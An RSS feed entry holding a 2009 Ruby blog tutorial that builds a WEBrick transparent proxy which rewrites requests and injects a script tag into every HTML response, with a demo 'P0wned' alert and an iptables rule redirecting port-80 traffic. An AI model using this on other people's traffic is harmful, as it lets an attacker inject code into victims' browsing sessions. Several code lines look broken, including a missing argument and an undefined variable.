<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mundo Ruby &#187; webrick</title>
	<atom:link href="http://www.mundoruby.com.ar/tag/webrick/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mundoruby.com.ar</link>
	<description>Ruby Artists, Hackers y otras yerbas ...</description>
	<lastBuildDate>Wed, 12 Aug 2009 23:02:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>WEBrick Transparent Proxy + code injection.</title>
		<link>http://www.mundoruby.com.ar/2009/03/20/webrick-transparent-proxy-code-injection/</link>
		<comments>http://www.mundoruby.com.ar/2009/03/20/webrick-transparent-proxy-code-injection/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 20:37:51 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[webrick]]></category>

		<guid isPermaLink="false">http://www.mundoruby.com.ar/?p=48</guid>
		<description><![CDATA[I&#039;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able [...]]]></description>
			<content:encoded><![CDATA[<p>I&#039;ve search and search, asked Google, yahoo, sarasa search, and pretty much everyone else I know. Everything was incomplete, not well explain or not in subject at all.  After many days of looking I found a japanese site, which I did not understood much of it but after I google translated I was able to check some code and learn how to capture the response body messages. </p>
<p><small><i><strong>NOTE:</strong> As a word of advice, it is worth mentioning that this situation where only the Japanese have ruby code, has happened several times before with weird and undocumented methods or libraries. So it&#039;s always good to look in google.jp for ruby code <img src='http://www.mundoruby.com.ar/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </i></small></p>
<p>You may say why to even bother to do a Transparent proxy in ruby which is able to inject code, well maybe the answer is just because I want to see if I can do it. </p>
<p>I decided to do my PoC with the native library WEBrick, a simple and light  HTTPserver among other things.</p>
<p><strong> Simple Proxy :</strong><br />
The first thing I usually do is check the official site and Rdoc for the lib. Unluckily, I was only able to find how to do a normal proxy. and work with the request. </p>
<p>
<div class="geshifilter">
<div class="geshifilter-ruby" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick/httproxy&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPProxyServer</span>.<span style="color:#9900CC;">new</span> <span style="color:#ff3333; font-weight:bold;"> <img src='http://www.mundoruby.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort</span> <span style="color:#006666;">8080</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:BindAddress</span> =&gt; <span style="color:#996600;">&#039;0.0.0.0&#039;</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:ServerType</span> =&gt; <span style="color:#CC00FF; font-weight:bold;">Thread</span>,</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:RequestCallback</span> =&gt; <span style="color:#CC0066; font-weight:bold;">Proc</span>.<span style="color:#9900CC;">new</span> <span style="color:#006600; font-weight:bold;">&#123;</span>|req,res| &nbsp;<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{req.unparsed_uri}&quot;</span> <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">a.<span style="color:#9900CC;">start</span></div>
</li>
</ol>
</div>
</div>
<p><small><small>Simple Proxy server.</small></small></p>
<p><strong> Fixing the URI :</strong><br />
With this we can setup Firefox, safari or any other web browser to use the proxy on localhost:8080 and  Eureka, we have a proxy that will printout the unparsed_uri for our request.<br />
This in theory works like a charm , but wait. If you see the  request Firefox is doing the following</p>
<div class="geshifilter">
<div class="geshifilter-ruby" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">GET http://www.<span style="color:#9900CC;">sarasa</span>.<span style="color:#9900CC;">com</span>/ HTTP/<span style="color:#006666;">1.1</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&#8230;</div>
</li>
</ol>
</div>
</div>
<p><small><small>Browser request using a proxy server.</small></small></p>
<p>Normal the brower when requesting a page , will use HTTP/1.1 and use the header &#8220;Host&#8221; to specified the url and just connect using a:</p>
<p>
<div class="geshifilter">
<div class="geshifilter-ruby" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">GET / HTTP/<span style="color:#006666;">1.1</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">Host: www.<span style="color:#9900CC;">sarasa</span>.<span style="color:#9900CC;">com</span></div>
</li>
</ol>
</div>
</div>
<p><small><small>Browser request.</small></small></p>
<p>Having said this, here is the first wall I encounter. This is something that was undocumented: how do we turn our proxy into a transparent proxy?<br />
The answer is simple. let&#039;s modified our code and change the request. All the information is there we just have to re-write it to fit our need.<br />
Before, we start we should know that our req is of type WEBrick::HTTPRequest. Knowing this we will do a little monkey patching to add a new method to the class and </p>
<p>
<div class="geshifilter">
<div class="geshifilter-ruby" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick/httproxy&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPRequest</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">def</span> &nbsp;update_uri<span style="color:#006600; font-weight:bold;">&#40;</span>uri<span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#0066ff; font-weight:bold;">@unparsed_uri</span> = uri</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#0066ff; font-weight:bold;">@request_uri</span> = parse_uri<span style="color:#006600; font-weight:bold;">&#40;</span>uri<span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">req_call = <span style="color:#CC0066; font-weight:bold;">Proc</span>.<span style="color:#9900CC;">new</span> <span style="color:#9966CC; font-weight:bold;">do</span> |req,res| &nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; req.<span style="color:#9900CC;">update_uri</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{req.unparsed_uri}&quot;</span> <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPProxyServer</span>.<span style="color:#9900CC;">new</span> <span style="color:#ff3333; font-weight:bold;"> <img src='http://www.mundoruby.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort</span> <span style="color:#006666;">8080</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:BindAddress</span> =&gt; <span style="color:#996600;">&#039;0.0.0.0&#039;</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:ServerType</span> =&gt; <span style="color:#CC00FF; font-weight:bold;">Thread</span>,</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:RequestCallback</span> =&gt; req_call </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">a.<span style="color:#9900CC;">start</span></div>
</li>
</ol>
</div>
</div>
<p><small><small>Transparent Proxy Server.</small></small></p>
<p>
<strong> Injecting:</strong><br />
Well, a transparent proxy is cool , but we could do the same with squid or some other product. Let&#039;s take it a little further and make it more interesting by adding an inject_payload to our response class. </p>
<p>
<div class="geshifilter">
<div class="geshifilter-ruby" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&#039;webrick/httproxy&#039;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPRequest</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">def</span> &nbsp;update_uri<span style="color:#006600; font-weight:bold;">&#40;</span>uri<span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#0066ff; font-weight:bold;">@unparsed_uri</span> = uri</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#0066ff; font-weight:bold;">@request_uri</span> = parse_uri<span style="color:#006600; font-weight:bold;">&#40;</span>uri<span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPResponse</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">def</span> &nbsp;inject_payload<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#CC0066; font-weight:bold;">string</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#0066ff; font-weight:bold;">@content_type</span> =~ /html/</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; <span style="color:#0066ff; font-weight:bold;">@body</span>.<span style="color:#CC0066; font-weight:bold;">gsub</span>!<span style="color:#006600; font-weight:bold;">&#40;</span> /&lt;\/body&gt;/ , &nbsp;<span style="color:#996600;">&quot;&lt;script&gt;#{string}&lt;/script&gt;&lt;/body&gt;&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> &nbsp;<span style="color:#008000; font-style:italic;"># this is just </span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; <span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">req_call = <span style="color:#CC0066; font-weight:bold;">Proc</span>.<span style="color:#9900CC;">new</span> <span style="color:#9966CC; font-weight:bold;">do</span> |req,res| &nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; req.<span style="color:#9900CC;">update_uri</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{req.unparsed_uri}&quot;</span> <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">res_call = <span style="color:#CC0066; font-weight:bold;">Proc</span>.<span style="color:#9900CC;">new</span> <span style="color:#9966CC; font-weight:bold;">do</span> |req,res| &nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; res.<span style="color:#9900CC;">inject_payload</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;alert(<span style="color:#000099;">\&quot;</span>P0wned<span style="color:#000099;">\&quot;</span>);&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#9966CC; font-weight:bold;">end</span></div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"><span style="color:#6666ff; font-weight:bold;">WEBrick::HTTPProxyServer</span>.<span style="color:#9900CC;">new</span> <span style="color:#ff3333; font-weight:bold;"> <img src='http://www.mundoruby.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ort</span> <span style="color:#006666;">8080</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:BindAddress</span> =&gt; <span style="color:#996600;">&#039;0.0.0.0&#039;</span>, </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:ServerType</span> =&gt; <span style="color:#CC00FF; font-weight:bold;">Thread</span>,</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;">:RequestCallback</span> =&gt; req_call</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color:#ff3333; font-weight:bold;"> <img src='http://www.mundoruby.com.ar/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> roxyContentHandler</span> =&gt; res_call </div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">&nbsp;</div>
</li>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal">a.<span style="color:#9900CC;">start</span></div>
</li>
</ol>
</div>
</div>
<p><small><small>Injectable Transparent Proxy server.</small></small></p>
<p><strong> Last but not least :</strong><br />
Well, there is one more thing , but this is more at an operating system level we know want to reroute everything that is coming from the port 80 to port 8080 where our transparent proxy is listening.  The following example shows a possible way to redirect HTTP traffic assuming that is coming from the interface eth0 and the proxy is listening on port 8080.</p>
<div class="geshifilter">
<div class="geshifilter-bash" style="font-family: monospace;">
<ol>
<li style="font-family: monospace; font-weight: normal;">
<div style="font-family: monospace; font-weight: normal; font-style: normal"> &nbsp;iptables -t nat -A PREROUTING -i &nbsp;eth0 -p tcp &#8211;dport <span style="color: #000000;">80</span> -j REDIRECT &#8211;to-port <span style="color: #000000;">8080</span></div>
</li>
</ol>
</div>
</div>
<p>Now we have a transparent proxy in our hands capable of injecting code into their request. </p>
<p>Enjoy. </p>
<p>(Via <a href="http://www.freedomcoder.com.ar">自由編碼人</a>.) Original Link: <a href="http://www.freedomcoder.com.ar/node/149#comments">WEBrick Transparent Proxy + code injection.</a></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-7949681675937032";
google_ad_slot = "0874687580";
google_ad_width = 468;
google_ad_height = 60;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mundoruby.com.ar/2009/03/20/webrick-transparent-proxy-code-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

